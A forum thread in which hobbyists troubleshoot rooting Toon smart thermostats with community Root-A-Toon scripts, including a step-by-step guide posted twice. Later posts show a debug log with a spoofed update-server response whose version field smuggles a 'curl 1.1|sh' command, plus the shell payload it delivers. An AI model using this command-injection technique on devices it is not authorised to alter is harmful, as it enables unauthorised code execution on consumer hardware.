Toon 1 and Toon 2 software rooting

[TheHogNL]

Hard to tell what is going wrong as you are using networkmanager. Maybe that conflicts with the temporary added IP addresses in the script where the payload is loaded from.
Just try again to make the network working without networkmanager or go ahead and use the boot laptop method which is based on the same script b

[Xavier]

So I did the install of Kali based on https://github.com/JackV2020/Root-A-Toon-USB-Stick.

Despite I get the same result: "Response payload was net sent. Please try again.

I use a normal laptop and I boot from USB directly to Kali (32B version).
Install of Wifi Network is succesfull and Toon2 can connect.
The running the script (also test) but no other response than payload was not sent.

From the Wifiscript the SSID is ToonRouter.
Toon2 receives IP-address 10.42.0.188.
After reboot no connection with servicecenter
After multiple attemps to root, Toon2 automatically gets connection with ServiceCenter without having done a reboot.

by the way, Kali and the script also uses netwerk manager....

This is getting a bit annoying.....

[Xavier]

ok, 2 things I'm wondering

1. is there an option to set the time-out to a longer period, to wait for the payload?
2. When I do the full reset on Toon2 and it goes back to factory default with software 4.someting. What impact does it have? will I be able to update/upgrade/activate again?

[TheHogNL]

Maybe your firmware is indeed not working anymore with the rooting. Need to check that.
You can try the recovery (= not factoryreset). As it already has the new VPN keys it is not a problem to go to the recovery reset and then try to root.

[Xavier]

Ok, I did the recovery and I have now 4.9.124 software version.
But when pressing software nothing happens (doesn't check for new software.
What should I do first now?
Toon2 is connected with Wifi ToonRouter network and says its connected with internet.
I do get an old error "D03" which says it can't connect to the service center.....

[TheHogNL]

On 4.9.124 I remember it can take some while for it to get the software check done but just keep trying

[Xavier]

ok, so waited until now but no connection.
Wondering:
Should I connect with the script or should Toon2 first connect to normal network then update/upgrade and retry the script?

[TheHogNL]

You could try that indeed.
The toon must have had one succesfull VPN connection before I do remember (haven't rooted for long time)

[Xavier]

Finally succeeded!
Based on my experiences a short instruction.

So to all who have a Toon2 with software version 6.02 unrooted and want to root:
1. Setup a RaspBerry Pi as Wifi Access Point with router functionality and make sure you have an SSID.
Instructions can be found on https://www.raspberrypi.com/documentati ... cess-point as part of https://github.com/ToonSoftwareCollective/Root-A-Toon

Make sure you can connect to the SSID and have stable internet connection!

In case this doesn't work try https://github.com/JackV2020/Root-A-Toon-USB-Stick and follow the instructions.
This one worked the best for me, installed Kali on USB stick and booted from laptop.
(make sure you setup the wifi SSID part)

2. First execute recovery of Toon2 (recovery is something else the factory reset!!)
3. After recovery is successfull, connect Toon2 to a normal network and make sure it has connected once but DO NOT upgrade!
4. Reboot
5. Connect to the SSID you have created on your RaspberryPi (or with Kali)
6. Reboot
7. Now its time to first Activate your Toon2

Code: Select all

sudo bash activate-toon.sh

, follow the steps as described on https://github.com/ToonSoftwareCollective/Root-A-Toon and mentioned in the script, but still DO NOT upgrade!
8. Reboot
9. After the activation completed successfully you can start trying to TEST root based on https://github.com/ToonSoftwareCollective/Root-A-Toon

Code: Select all

sudo bash root-toon.sh

or when based on https://github.com/JackV2020/Root-A-Toon-USB-Stick

Code: Select all

sudo bash root-toon.sh test

but still DO NOT upgrade
10. Reboot
11. If Test root is successfull you can start trying to root your Toon2on https://github.com/ToonSoftwareCollective/Root-A-Toon

Code: Select all

sudo bash root-toon.sh payload

or when based on https://github.com/JackV2020/Root-A-Toon-USB-Stick

Code: Select all

sudo bash root-toon.sh root

but still DO NOT upgrade
12. Reboot
13. You can Upgrade now (via Software)

In case the update doesn't start automated, login via SSH (using Putty or somehting like that) and perform manualy the update.
Instructions can be found at https://github.com/ToonSoftwareCollective/update-rooted

Good luck!

[rleunk]

Finally succeeded!
Based on my experiences a short instruction.

So to all who have a Toon2 with software version 6.02 unrooted and want to root:
1. Setup a RaspBerry Pi as Wifi Access Point with router functionality and make sure you have an SSID.
Instructions can be found on https://www.raspberrypi.com/documentati ... cess-point as part of https://github.com/ToonSoftwareCollective/Root-A-Toon

Make sure you can connect to the SSID and have stable internet connection!

In case this doesn't work try https://github.com/JackV2020/Root-A-Toon-USB-Stick and follow the instructions.
This one worked the best for me, installed Kali on USB stick and booted from laptop.
(make sure you setup the wifi SSID part)

2. First execute recovery of Toon2 (recovery is something else the factory reset!!)
3. After recovery is successfull, connect Toon2 to a normal network and make sure it has connected once but DO NOT upgrade!
4. Reboot
5. Connect to the SSID you have created on your RaspberryPi (or with Kali)
6. Reboot
7. Now its time to first Activate your Toon2

Code: Select all

sudo bash activate-toon.sh

, follow the steps as described on https://github.com/ToonSoftwareCollective/Root-A-Toon and mentioned in the script, but still DO NOT upgrade!
8. Reboot
9. After the activation completed successfully you can start trying to TEST root based on https://github.com/ToonSoftwareCollective/Root-A-Toon

Code: Select all

sudo bash root-toon.sh

or when based on https://github.com/JackV2020/Root-A-Toon-USB-Stick

Code: Select all

sudo bash root-toon.sh test

but still DO NOT upgrade
10. Reboot
11. If Test root is successfull you can start trying to root your Toon2on https://github.com/ToonSoftwareCollective/Root-A-Toon

Code: Select all

sudo bash root-toon.sh payload

or when based on https://github.com/JackV2020/Root-A-Toon-USB-Stick

Code: Select all

sudo bash root-toon.sh root

but still DO NOT upgrade
12. Reboot
13. You can Upgrade now (via Software)

In case the update doesn't start automated, login via SSH (using Putty or somehting like that) and perform manualy the update.
Instructions can be found at https://github.com/ToonSoftwareCollective/update-rooted

Good luck!

Today got the question to root the toon of a friend, this one is at 6.0.7, does anyone have information if this will would work?

[TheHogNL]

Today got the question to root the toon of a friend, this one is at 6.0.7, does anyone have information if this will would work?

Should still work however the same applies as for 5.x.100 toons as described here: https://github.com/ToonSoftwareCollecti ... mware-toon

[rleunk]

Today got the question to root the toon of a friend, this one is at 6.0.7, does anyone have information if this will would work?

Should still work however the same applies as for 5.x.100 toons as described here: https://github.com/ToonSoftwareCollecti ... mware-toon

@TheHogNL Thanks for your response, I will consult with the owner, and possibly try tomorrow.

[wian]

Hi, I'm trying to root a Toon 1 with software version 3.6.3 using Root-A-Toon (https://github.com/JackV2020/Root-A-Toon-USB-Stick). Toon is connecting to the wifi, it reboots, after the completes the reboot I go to Instellingen -> Software.

It does a GetUpgrade with <Flav>ene</Flav> and <Ver>3.6.3</Ver>

The scripts says: received valid update request, starting payload process in background.

I see the response contains <DoUpgrade>true</DoUpgrade> but then the version is messed up: <Ver>7.;curl 1.1|sh;;</Ver>

The Toon reboots but isn't rooted.

I also tried the latest github version of Root-A-Toon, but with that I get an error: line 41:exit tcpdump failed: numeric argument required.

Any idea what am I doing wrong?

[TheHogNL]

Code: Select all

 <Ver>7.;curl 1.1|sh;;</Ver>

Is correct. That is the trick it does.. a version number with a curl command hidden in it

If it reboots it seems it sends the default payload (reboot the GUI). Did you forget to add the payload file to the root script when running it?

[wian]

With the USB version, it sends a payload by default - I see it sending a payload in the script output. This is the output when I use the "test" payload from the script.

The Toon from 10.42.0.206 is connecting to servicecenter IP: 172.29.64.1
-------------------------------------------------------
<knip>
POST /QubyRegistration/ HTTP/1.1
Host: 172.29.64.1:31080
Accept: */*
Content-Type: application/xml; charset=utf-8
Content-Length: 444

<action class="invoke" uuid="eneco-001-047778:hcb_config" destuuid="0429a450-
bd0c-11e0-962b-0800200c9a66" serviceid="urn:hcb-hae-com:serviceId:specific1"
requestid="671-0" commonname="eneco-001-047778">
<u:GetUpgrade xmlns:u="http://schema.homeautomationeurope.com/quby"><Arch
>qb2</Arch>
<Flav>ene</Flav>
<Ver>3.6.3</Ver>
<Seed>974959640</Seed>
<requestId>671-0</requestId>
<timeout>10</timeout>
</u:GetUpgrade>
</action>
Received valid update request.
Starting payload process in background.
-------------------------------------------------------
#!/bin/sh iptables -I HCB-INPUT -p tcp --dport 80 -j ACCEPT ; echo "We have c
onnection" > /qmf/www/rsrc/log ; echo "Do not touch the screen of your Toon"
>> /qmf/www/rsrc/log ; echo "Just wait and look at your Toon to see the GUI r
estart" >> /qmf/www/rsrc/log ; /qmf/bin/bxt -d :happ_usermsg -s Notification
-n CreateNotification -a type -v task -a subType -v notify -a text -v "Restar
ting your GUI" 2>/dev/null >/dev/null ; sleep 2 ; /qmf/bin/bxt -d :happ_userm
sg -s Notification -n CreateNotification -a type -v task -a subType -v notify
-a text -v "Please wait..." 2>/dev/null >/dev/null ; sleep 2 ; killall -9 qt
-gui ; echo "### Reached End Of Job ###" >> /qmf/www/rsrc/log
-------------------------------------------------------
Sending the reponse for the upgrade request.
-------------------------------------------------------
HTTP/1.1 200 OK

<action xmlns:u="http://schema.homeautomationeurope.com/quby" class="respons
e" uuid="0429a450-bd0c-11e0-962b-0800200c9a66" destuuid="eneco-001-047778:hcb
_config" destcommonname="eneco-001-047778" requestid="671-0" serviceid="urn:h
cb-hae-com:serviceId:specific1">
<u:GetUpgradeResponse xmlns:u="http://schema.homeautomationeurope.com/quby">
<DoUpgrade>true</DoUpgrade>
<Ver>7.;curl 1.1|sh;;</Ver>
<Success>true</Success>
<Reason>Success</Reason>
<ReasonDetails>Success</ReasonDetails>
</u:GetUpgradeResponse>
</action>

-------------------------------------------------------
The payload and response have been sent.
Now waiting for the Toon to pick up the payload.
Depending on the firmware of the Toon this can take a minute or so.

.... Please wait......

GET / HTTP/1.1
User-Agent: curl/7.21.2 (arm-hae-linux-gnueabi) libcurl/7.21.2 GnuTLS/2.10.4
zlib/1.2.3
Host: 1.1
Accept: */*

Done sending the payload! Following the toon root log file now to see progres
s
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>404 - Not Found</title>
</head>
<body>
<h1>404 - Not Found</h1>
</body>
</html>

And this Not Found html page repeats forever.

Reading the script, this is where it uses curl to connect to http://10.42.0.206/rsrc/log, but this file/page on Toon does not exist.

I got this Toon from marktplaats and didn't reset it since it is such an old version and probably has old certificates. Any ideas on what to try next?